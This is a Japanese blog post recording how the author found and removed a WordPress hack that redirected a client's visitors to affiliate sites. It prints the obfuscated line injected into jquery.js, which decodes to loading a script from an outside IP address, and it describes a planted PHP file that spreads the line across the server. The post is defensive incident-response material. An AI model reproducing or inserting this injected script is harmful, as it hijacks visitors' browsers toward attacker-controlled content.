hycko.blog

昔の記事は上手く表示されないかもしれない。

wordpressでの海外リダイレクトのハッキング事例

   

備忘録。

お客様のWPがハッキングされて海外サイトにリダイレクトされる設定になっていた。
ベタな htaccess によるものかと思いきや、htaccessには特に記述は見当たらず。

リダイレクトは
https://go.padsdel.com/afu.php?id=473791
に先ずされた後に、ハッカーのアフィリエイト先とされる様々なサイトにリダイレクトされる。
海外サイトがメインだけど、日本のヤフーショッピングに飛ばされたりなどもした。

で、 https://go.padsdel.com/afu.php?id=473791 で調べると似たような情報がでてくるわけですな。

wordpressにデフォルトで設置されている jquery.js が書き換えられていた

今回のハッキングは、結論からいうと

/wp-includes/js/jquery/jquery.js

の最後の一行に

var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

という文字列が挿入されていた。
この一行を削除したら、リダイレクトは無くなった。

この文字列はエンコードしないとわからないようになっていて、恐らくはハッキングコードの除去の際に検索でURLなどの文字列がヒットしない様に、この形になっていると思われる。

で、どうやってこの書き換えが実行されていたか。

wordpressの設置ディレクトリと同列のディレクトリ内に content という見慣れないフォルダが。
その中に recure.php というファイルが入っていました。

content/recure.php

中のコードをみると、シンプルながらも、自分に権限のあるディレクトリをサーバ上位からすべて検索していって、 jquery.php というファイルがあれば、先ほどのエンコードされた文字列を最後を改行して挿入し上書き保存をするという実行ファイルでした。

このファイルもあわせて削除。

どうやってこのハッキングファイルが設置されたか

毎回、これが最大の問題なわけなんですよね。

主な原因は

  1. FTP情報の流出
  2. wordpressの脆弱性をついた攻撃
  3. ユーザーが設定できる範囲での、サーバー設定の脆弱性
  4. ユーザーが設定できない範囲での、サーバー管理者の責任によるサーバーの脆弱性

とりあえずコチラ側ですぐ対応できることは、1への対策でFTPパスワードを変更させること。
次に2への対策で、WPを最新版にアップデートさせる。
3は思い当たる点があれば行う程度。

大問題は4です。
これ、サーバーって企業が運営してれば安全って思う方が多いと思うけど、本当に有名サーバー会社でもザルすぎるセキュリティ設定で、ハッキングされまくりだったりすることが多いです。
でも、サーバー会社の責任でも、それをユーザーが証明する手立てって無いわけですよ、ログはすべてサーバー会社側でしか確認できないし。

なので、法人が運営するウェブサイトを持つ際は、サーバー選びというのは本当に重要です。

個人的にはカゴヤさくらインターネットが、なんとなく信用できるかなって思ってたけど、カゴヤはつい先日顧客情報流出させてたなぁ。

そんな話。

 - wordpress

  • このエントリーをはてなブックマークに追加

Message

記事に意見や感想、質問があれば、お気軽にどうぞ~
名前は無記入でもOKです

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)

  関連記事

no image
WP RollbackでRollbackボタンが表示されない

テーマのfunction.phpでプラグインの更新を停止してると表示されない。 …

no image
パーマリンクを変更してみた

笑えるほど順位が激減して復帰もしなさそうだったので、戻しました。 SEO評価戻る …

no image
毎回ホットッペッパピップペッポッピと言われてもありがたみがないので

サイドバーに貼り付けてあったホットペッパーのCMを3回に1回だけランダムで再生さ …

no image
NextGen Galleryのギャラリー表示例

NextGen Galleryデフォルトのギャラリー表示機能の紹介です。 ひとつ …

no image
NextGen Galleryの使い方を1から説明してみる

wordpressの画像ギャラリープラグインとして優秀なNextGen Gall …

no image
wordpressをxreaなどPHPがsafemodeのサーバに設置する時の解決法

サーバでPHPがsafemodeになっていると、wordpressを操作する際に …

no image
wordpressのパーマリンクを懲りずに変更してみた

以前にも挑戦して、失敗というか断念している「wordpressのパーマリンク変更 …

no image
携帯サイトにGoogle Analyticsを設置する方法

※既にGoogle Analyticsにて携帯サイトに公式対応しているので、そち …

no image
Invalid Codeと表示されるページに移動してコメントが投稿出来なくなったが

解決しました。 原因は「Simple Captcha」というプラグインでした。 …

no image
WP to Twitterの投稿でハッシュタグが文字化け

最近はGoogleからの検索以外にも、実況性を求めてtwitterでの検索をする …